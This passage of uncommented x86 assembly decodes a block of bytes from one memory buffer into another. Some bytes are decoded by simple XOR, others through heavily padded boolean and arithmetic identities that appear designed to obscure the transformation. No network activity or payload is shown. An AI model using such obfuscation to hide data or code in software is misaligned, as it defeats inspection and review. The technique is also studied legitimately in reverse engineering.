mov byte [0x47178c], al
mov al, byte [0x47158d]
xor al, 0xeb
mov byte [0x47178d], al
mov cl, byte [0x47158e]
mov al, cl
xor al, 0xff
or al, 0x75
add al, 0x8b
mov dl, cl
xor dl, 0x75
xor dl, 0xff
or cl, 0x75
and cl, dl
or al, cl
xor al, 0xb8
mov byte [0x47178e], al
mov al, byte [0x47158f]
xor al, 0x96
mov byte [0x47178f], al
mov bl, byte [0x471590]
mov dl, bl
and dl, 0xb4
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x65
add bl, 0xb4
sub bl, 0x65
sub bl, al
mov byte [0x471790], bl
mov al, byte [0x471591]
xor al, 0xc6
mov byte [0x471791], al
mov al, byte [0x471592]
mov bl, al
xor bl, 0xff
mov dh, al
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov bh, dh
xor bh, 0xff
mov ah, dl
and ah, 0x51
and bl, 0xae
mov cl, bh
and cl, 0x51
and dh, 0xae
or ah, bl
or cl, dh
xor ah, cl
or dl, bh
xor dl, 0xff
and dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0xdd
xor dl, 0xff
xor dl, 0xff
and al, 0xdd
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov byte [0x471792], cl
mov al, byte [0x471593]
mov cl, al
xor cl, 0xff
and cl, 0x44
and al, 0xbb
or cl, al
xor cl, 0xdb
mov byte [0x471793], cl
mov al, byte [0x471594]
xor al, 0xe5
mov byte [0x471794], al
mov al, byte [0x471595]
xor al, 0xf9
mov byte [0x471795], al
mov al, byte [0x471596]
mov cl, al
xor cl, 0xff
and cl, 0x67
and al, 0x98
or cl, al
xor cl, 0
mov byte [0x471796], cl
mov bl, byte [0x471597]
mov al, bl
xor al, 0x8f
mov dl, al
xor dl, 0xff
and dl, 0x53
and al, 0xac
or dl, al
xor dl, 0xac
xor dl, 0xff
xor dl, 0x8f
and dl, 0x8f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x70
add al, 1
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x471797], bl
mov al, byte [0x471598]
mov cl, al
and cl, 8
shl cl, 1
add al, 8
sub al, cl
mov byte [0x471798], al
mov al, byte [0x471599]
mov cl, al
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
mov byte [0x471799], cl
mov al, byte [0x47159a]
mov cl, al
and cl, 0xe2
shl cl, 1
mov dl, al
and dl, 0xe2
or al, 0xe2
add dl, al
sub dl, cl
mov byte [0x47179a], dl
mov al, byte [0x47159b]
xor al, 0xab
mov byte [0x47179b], al
mov al, byte [0x47159c]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
or dl, 0x65
xor al, 0xff
or al, 0x9a
xor al, 0xff
and al, 0xff
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47179c], dl
mov al, byte [0x47159d]
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
add al, 0x59
sub al, cl
sub al, 0x59
mov byte [0x47179d], al
mov al, byte [0x47159e]
xor al, 0x82
mov byte [0x47179e], al
mov al, byte [0x47159f]
mov cl, al
and cl, 0x3f
shl cl, 1
add al, 0x3f
sub al, cl
mov byte [0x47179f], al
mov al, byte [0x4715a0]
mov cl, al
and cl, 0x6f
shl cl, 1
add al, 0x6f
sub al, cl
mov byte [0x4717a0], al
mov al, byte [0x4715a1]
xor al, 0xbd
mov byte [0x4717a1], al
mov al, byte [0x4715a2]
mov cl, al
xor cl, 0xff
and cl, 0x5f
and al, 0xa0
mov dl, al
and dl, cl
xor dl, 0xff
add cl, al
add cl, 1
add cl, dl
mov byte [0x4717a2], cl
mov al, byte [0x4715a3]
xor al, 0xaf
mov byte [0x4717a3], al
mov cl, byte [0x4715a4]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xbb
xor al, 0xff
and cl, 0x44
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4717a4], al
mov al, byte [0x4715a5]
mov cl, al
and cl, cl
xor cl, 0xff
mov ah, cl
xor ah, 0xff
xor cl, 0xff
and ah, cl
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0x17
and ah, 0xe8
or dl, ah
xor dl, 0xcb
or dh, 0x23
xor dh, 0xff
and dh, 0xff
or dl, dh
mov ah, al
and ah, 0xdc
xor ah, 0xff
xor al, 0xff
or al, 0x23
xor ah, 0xff
xor al, 0xff
or ah, al
xor ah, 0xff
and dl, ah
xor dl, 0xff
mov byte [0x4717a5], dl
mov al, byte [0x4715a6]
xor al, 8
mov byte [0x4717a6], al
mov al, byte [0x4715a7]
mov cl, al
xor cl, 0xff
and cl, 1
and al, 0xfe
or cl, al
mov byte [0x4717a7], cl
mov dl, byte [0x4715a8]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xc5
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov ah, dh
and ah, 0x46
and dl, 0xb9
or ah, dl
xor ah, 0x7c
or dh, 0xc5
xor dh, 0xff
and dh, 0xff
or ah, dh
xor ah, 0xff
or al, ah
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov byte [0x4717a8], al
mov al, byte [0x4715a9]
mov cl, al
xor cl, 0xff
and cl, 0x8f
and al, 0x70
or cl, al
xor cl, 0xf1
mov byte [0x4717a9], cl
mov al, byte [0x4715aa]
xor al, 0xe2
mov byte [0x4717aa], al
mov al, byte [0x4715ab]
mov cl, al
xor cl, 0x57
xor cl, 0xff
and cl, 0x57
shl cl, 1
sub cl, 0x57
sub al, cl
mov byte [0x4717ab], al
mov al, byte [0x4715ac]
xor al, 0x37
mov byte [0x4717ac], al
mov al, byte [0x4715ad]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov cl, dl
and cl, 8
xor cl, 0xff
add dl, 8
add dl, 1
add dl, cl
and al, 8
xor al, 0xff
and al, 0xff
or al, 0
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor al, 0xff
or ah, al
mov byte [0x4717ad], ah
mov dl, byte [0x4715ae]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x4c
add al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0x4c
xor al, 0xff
xor ah, 0xff
or al, ah
mov byte [0x4717ae], al
mov dl, byte [0x4715af]
mov al, dl
xor al, 0xff
and al, 0x37
xor dl, 0xff
or dl, 0x37
xor dl, 0xff
and dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0x75
mov byte [0x4717af], al
mov al, byte [0x4715b0]
mov cl, al
and cl, 0x4c
shl cl, 1
add al, 0x4c
sub al, cl
mov byte [0x4717b0], al
mov al, byte [0x4715b1]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xc1
and al, 0x3e
or dl, al
mov byte [0x4717b1], dl
mov al, byte [0x4715b2]
mov cl, al
xor cl, 0xff
and cl, 0xa8
and al, 0x57
or cl, al
xor cl, 0xf7
mov byte [0x4717b2], cl
mov dl, byte [0x4715b3]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xd9
and dl, 0x26
mov cl, al
and cl, dl
xor al, dl
or cl, al
xor cl, 0x91
mov byte [0x4717b3], cl
mov al, byte [0x4715b4]
xor al, 0x1e
mov byte [0x4717b4], al
mov al, byte [0x4715b5]
xor al, 0xb4
mov byte [0x4717b5], al
mov dl, byte [0x4715b6]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
or al, al
xor al, 0xff
or al, 0x3d
xor al, 0xff
and dl, 0x3d
or al, dl
mov cl, al
xor cl, 0x25
xor cl, 0xff
and cl, 0x25
shl cl, 1
sub cl, 0x25
sub al, cl
mov byte [0x4717b6], al
mov al, byte [0x4715b7]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov ah, cl
xor ah, 0xff
and ah, 0xb4
and cl, 0x4b
or ah, cl
xor ah, 0x4b
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0x72
or al, 0x72
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x4717b7], dl
mov al, byte [0x4715b8]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
xor dl, 0xff
mov ah, dl
and ah, 0x65
xor ah, 0xff
xor dl, 0xff
or dl, 0x9a
and ah, dl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0xc0
and ah, 0x3f
or dl, ah
xor dl, 0x3f
and al, 0x9a
mov cl, al
xor cl, 0xff
and cl, 0xc6
and al, 0x39
or cl, al
xor cl, 0x39
and dl, cl
xor dl, 0xff
mov byte [0x4717b8], dl
mov al, byte [0x4715b9]
xor al, 0x60
mov byte [0x4717b9], al
mov al, byte [0x4715ba]
xor al, 0x4e
mov byte [0x4717ba], al
mov al, byte [0x4715bb]
xor al, 0xf6
mov byte [0x4717bb], al
mov al, byte [0x4715bc]
mov cl, al
and cl, 0xb8
shl cl, 1
add al, 0xb8
sub al, cl
mov byte [0x4717bc], al
mov al, byte [0x4715bd]
mov cl, al
xor cl, 0xff
and cl, 0x95
and al, 0x6a
or cl, al
xor cl, 0x28
mov byte [0x4717bd], cl
mov dl, byte [0x4715be]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x70
add al, cl
xor al, 0xff
and dl, 0x8f
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x4717be], al
mov al, byte [0x4715bf]
xor al, 0xdf
mov byte [0x4717bf], al
mov al, byte [0x4715c0]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xf5
and al, 0xf5
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4717c0], dl
mov al, byte [0x4715c1]
xor al, 0x65
mov byte [0x4717c1], al
mov al, byte [0x4715c2]
xor al, 0xfd
mov byte [0x4717c2], al
mov al, byte [0x4715c3]
mov cl, al
and cl, 0x8a
shl cl, 1
add al, 0x8a
sub al, cl
mov byte [0x4717c3], al
mov al, byte [0x4715c4]
xor al, 0x8c
mov byte [0x4717c4], al
mov al, byte [0x4715c5]
xor al, 4
mov byte [0x4717c5], al
mov al, byte [0x4715c6]
xor al, 0x10
mov byte [0x4717c6], al
mov al, byte [0x4715c7]
xor al, 0x45
mov byte [0x4717c7], al
mov dl, byte [0x4715c8]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov ah, dl
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
mov cl, al
add cl, 1
xor al, 0xff
or al, ah
add al, cl
or al, 0x77
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x77
or al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4717c8], al
mov al, byte [0x4715c9]
xor al, 0xee
mov byte [0x4717c9], al
mov al, byte [0x4715ca]
xor al, 0x6d
mov byte [0x4717ca], al
mov al, byte [0x4715cb]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x68
xor cl, 0xff
xor al, 0xff
and al, 0x68
or cl, al
xor cl, 0xff
mov byte [0x4717cb], cl
mov al, byte [0x4715cc]
xor al, 0xef
mov byte [0x4717cc], al
mov dl, byte [0x4715cd]
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov al, dl
sub al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
mov ah, dl
add ah, 0xff
sub ah, cl
or al, ah
and al, 0xc
xor al, 0xff
xor dl, 0xff
mov dh, dl
xor dh, 0xff
mov ah, dh
and ah, 0xc7
and dl, 0x38
or ah, dl
xor ah, 0xcb
or dh, 0xf3
xor dh, 0xff
and dh, 0xff
or ah, dh
xor al, 0xff
mov cl, ah
xor cl, 0xff
and cl, 0x17
and ah, 0xe8
or cl, ah
xor cl, 0xe8
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov byte [0x4717cd], al
mov al, byte [0x4715ce]
mov dl, al
xor dl, 0xff
and dl, 0x84
mov cl, al
and cl, 0x7b
or dl, cl
xor dl, 0x35
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xb1
shl dl, 1
sub dl, 0xb1
sub al, dl
mov byte [0x4717ce], al
mov bl, byte [0x4715cf]
mov dl, bl
xor dl, 0xff
or dl, 0x37
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0xc8
shl cl, 1
xor bl, 0xc8
add bl, cl
sub bl, al
mov byte [0x4717cf], bl
mov al, byte [0x4715d0]
xor al, 0x78
mov byte [0x4717d0], al
mov al, byte [0x4715d1]
mov cl, al
xor cl, 0x72
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0x72
shl dl, 1
sub dl, 0x72
sub al, dl
mov byte [0x4717d1], al
mov al, byte [0x4715d2]
xor al, 0xb8
mov byte [0x4717d2], al
mov al, byte [0x4715d3]
mov cl, al
xor cl, 0xff
and cl, 0x32
and al, 0xcd
or cl, al
mov byte [0x4717d3], cl
mov al, byte [0x4715d4]
mov cl, al
xor cl, 0xff
and cl, 0x40
and al, 0xbf
or cl, al
xor cl, 0x20
mov byte [0x4717d4], cl
mov al, byte [0x4715d5]
mov cl, al
xor cl, 0xff
and cl, 0x68
and al, 0x97
or cl, al
mov byte [0x4717d5], cl
mov al, byte [0x4715d6]
xor al, 0xdb
mov byte [0x4717d6], al
mov bl, byte [0x4715d7]
mov dl, bl
or dl, dl
xor dl, 0xff
or dl, 0x44
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xbb
add bl, 0xd6
sub bl, al
sub bl, 0xd6
mov byte [0x4717d7], bl
mov al, byte [0x4715d8]
mov cl, al
xor cl, 0xb8
xor cl, 0xff
and cl, 0xb8
shl cl, 1
sub cl, 0xb8
sub al, cl
mov byte [0x4717d8], al
mov dl, byte [0x4715d9]
mov al, dl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0xfa
xor al, 0xff
mov cl, dl
xor cl, 0xff
or cl, 5
and dl, 0xfa
xor dl, 0xff
and cl, dl
xor cl, 0xff
or al, cl
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xce
and al, 0xce
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4717d9], dl
mov al, byte [0x4715da]
xor al, 0xd2
mov byte [0x4717da], al
mov al, byte [0x4715db]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x90
xor dl, 0xff
xor al, 0xff
and al, 0x90
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4717db], dl
mov al, byte [0x4715dc]
mov cl, al
xor cl, 0xff
and cl, 0xf6
and al, 9
or cl, al
mov byte [0x4717dc], cl
mov al, byte [0x4715dd]
xor al, 0x95
mov byte [0x4717dd], al
mov dl, byte [0x4715de]
mov ah, dl
xor ah, 0xff
mov al, dl
xor al, 0xff
mov cl, al
xor cl, 0xff
mov ch, ah
and ch, cl
mov cl, ah
xor cl, al
add ah, cl
sub ah, ch
mov al, ah
xor al, 0xff
and al, 0xf8
and ah, 7
or al, ah
xor al, 7
or al, 0x7c
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x83
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x4717de], al
mov al, byte [0x4715df]
xor al, 0xaa
mov byte [0x4717df], al
mov al, byte [0x4715e0]
xor al, 0x86
mov byte [0x4717e0], al
mov al, byte [0x4715e1]
xor al, 0x37
mov byte [0x4717e1], al
mov al, byte [0x4715e2]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x29
xor dl, 0xff
or al, 0xd6
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4717e2], dl
mov al, byte [0x4715e3]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xfe
xor dl, 0xff
xor al, 0xff
or al, 0xfe
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4717e3], dl
mov al, byte [0x4715e4]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x12
add dl, cl
shl dl, 1
add al, 0x12
sub al, dl
mov byte [0x4717e4], al
mov al, byte [0x4715e5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xa7
xor dl, 0xff
or al, 0x58
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4717e5], dl
mov al, byte [0x4715e6]
xor al, 0x4c
mov byte [0x4717e6], al
mov al, byte [0x4715e7]
xor al, 0xdb
mov byte [0x4717e7], al
mov al, byte [0x4715e8]
xor al, 0x56
mov byte [0x4717e8], al
mov al, byte [0x4715e9]
xor al, 0x4d
mov byte [0x4717e9], al
mov al, byte [0x4715ea]
xor al, 0xf1
mov byte [0x4717ea], al
mov al, byte [0x4715eb]
xor al, 0
mov byte [0x4717eb], al
mov al, byte [0x4715ec]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xbe
xor cl, 0xff
xor al, 0xff
or al, 0xbe
and cl, al
xor cl, 0xff
mov byte [0x4717ec], cl
mov dl, byte [0x4715ed]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xd1
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or dl, 0x2e
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4717ed], al
mov al, byte [0x4715ee]
mov cl, al
xor cl, 0x15
xor cl, 0xff
and cl, 0x15
shl cl, 1
sub cl, 0x15
sub al, cl
mov byte [0x4717ee], al
mov al, byte [0x4715ef]
mov cl, al
xor cl, 0xff
and cl, 0x6d
and al, 0x92
or cl, al
xor cl, 0xed
mov byte [0x4717ef], cl
mov al, byte [0x4715f0]
mov cl, al
xor cl, 0xff
and cl, 0xd3
and al, 0x2c
or cl, al
mov byte [0x4717f0], cl
mov al, byte [0x4715f1]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xeb
xor dl, 0xff
mov cl, al
xor cl, 0x14
xor cl, 0xff
or al, 0x14
and al, cl
xor al, 0xff
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x4717f1], dl
mov al, byte [0x4715f2]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xe1
and al, 0x1e
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, cl
mov cl, dl
xor cl, al
add dl, cl
sub dl, ah
mov byte [0x4717f2], dl
mov al, byte [0x4715f3]
xor al, 0x4b
mov byte [0x4717f3], al
mov al, byte [0x4715f4]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
and cl, 0xff
xor cl, 0xff
xor cl, 0xff
or cl, 0
or dl, cl
and dl, 0xc3
xor dl, 0xff
xor al, 0xff
or al, 0xc3
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
and al, 0xff
or al, 0
or dl, al
mov byte [0x4717f4], dl
mov al, byte [0x4715f5]
xor al, 0xc4
mov byte [0x4717f5], al
mov al, byte [0x4715f6]
xor al, 1
mov byte [0x4717f6], al
mov al, byte [0x4715f7]
mov cl, al
xor cl, 0x5e
xor cl, 0xff
and cl, 0x5e
shl cl, 1
sub cl, 0x5e
sub al, cl
mov byte [0x4717f7], al
mov dl, byte [0x4715f8]
mov ah, dl
xor ah, 0xff
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
or ah, al
xor ah, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
or al, ah
and al, 0x86
xor al, 0xff
mov cl, dl
xor cl, 0x86
and cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and al, dl
xor al, 0xff
mov byte [0x4717f8], al
mov al, byte [0x4715f9]
xor al, 0x22
mov byte [0x4717f9], al
mov al, byte [0x4715fa]
xor al, 0x94
mov byte [0x4717fa], al
mov al, byte [0x4715fb]
mov cl, al
and cl, 0x52
shl cl, 1
add al, 0x52
sub al, cl
mov byte [0x4717fb], al
mov al, byte [0x4715fc]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
xor dl, 0xff
and dl, 0x2d
xor dl, 0xff
and al, 0xd2
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4717fc], dl
mov al, byte [0x4715fd]
xor al, 4
mov byte [0x4717fd], al
mov dl, byte [0x4715fe]
mov cl, dl
and cl, cl
mov al, dl
xor al, al
or cl, al
xor cl, 0xff
or cl, 6
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
or dl, 0xf9
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4717fe], al
mov al, byte [0x4715ff]
mov cl, al
and cl, 0x1a
shl cl, 1
add al, 0x1a
sub al, cl
mov byte [0x4717ff], al
mov al, byte [0x471600]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x9a
xor cl, 0xff
and cl, 0xff
mov dl, al
xor dl, 0x65
and dl, al
or cl, dl
mov byte [0x471800], cl
mov al, byte [0x471601]
mov cl, al
xor cl, 0xff
and cl, 0xbf
and al, 0x40
or cl, al
xor cl, 0xcc
mov byte [0x471801], cl
mov dl, byte [0x471602]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0x6e
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x6e
xor cl, 0xff
or al, cl
mov byte [0x471802], al
mov bl, byte [0x471603]
mov dl, bl
or dl, dl
xor dl, 0xff
or dl, 0xe2
xor dl, 0xff
mov al, bl
xor al, 0xff
and al, 0xe2
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0x1d
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x9f
sub al, 0x1d
sub al, 0x9f
sub bl, al
mov byte [0x471803], bl
mov al, byte [0x471604]
mov cl, al
and cl, 0xc3
shl cl, 1
add al, 0xc3
sub al, cl
mov byte [0x471804], al
mov al, byte [0x471605]
mov cl, al
xor cl, 0xff
and cl, 0xb7
and al, 0x48
or cl, al
mov byte [0x471805], cl
mov dl, byte [0x471606]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0xb7
and dl, 0x48
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov cl, al
and cl, 0xc0
shl cl, 1
add al, 0xc0
sub al, cl
mov byte [0x471806], al
mov al, byte [0x471607]
xor al, 0x7f
mov byte [0x471807], al
mov al, byte [0x471608]
xor al, 0x34
mov byte [0x471808], al
mov al, byte [0x471609]
xor al, 0xdb
mov byte [0x471809], al
mov al, byte [0x47160a]
mov cl, al
xor cl, 0x4c
xor cl, 0xff
mov dl, al
or dl, 0x4c
and dl, cl
shl dl, 1
add al, 0x4c
sub al, dl
mov byte [0x47180a], al
mov al, byte [0x47160b]
xor al, 0x52
mov byte [0x47180b], al
mov bl, byte [0x47160c]
mov al, bl
xor al, 0xf4
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xf4
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xf4
sub bl, al
mov byte [0x47180c], bl
mov al, byte [0x47160d]
mov cl, al
and cl, cl
xor cl, 0xff
mov ah, cl
xor ah, 0xff
and ah, 0xc8
and cl, 0x37
or ah, cl
xor ah, 0x37
mov dl, ah
or dl, 0x97
xor dl, 0xff
xor ah, 0xff
and ah, 0x68
xor dl, 0xff
xor ah, 0xff
and dl, ah
and al, 0x97
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
and cl, 0x19
and al, 0xe6
or cl, al
xor cl, 0xe6
mov al, dl
and al, cl
xor dl, cl
or al, dl
mov byte [0x47180d], al
mov al, byte [0x47160e]
xor al, 0xc8
mov byte [0x47180e], al
mov al, byte [0x47160f]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0x7b
mov ah, dl
xor ah, 0x84
add dl, ah
sub dl, cl
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x7b
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x47180f], dl
mov al, byte [0x471610]
xor al, 0xd6
mov byte [0x471810], al
mov al, byte [0x471611]
xor al, 0x11
mov byte [0x471811], al
mov al, byte [0x471612]
mov cl, al
xor cl, 0x8e
xor cl, 0xff
and cl, 0x8e
shl cl, 1
sub cl, 0x8e
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x471812], al
mov dl, byte [0x471613]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor al, 0xff
or al, 0x79
and dl, 0x79
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, ah
and cl, al
xor cl, 0xff
add al, ah
add al, 1
add al, cl
mov byte [0x471813], al
mov al, byte [0x471614]
xor al, 0xc
mov byte [0x471814], al
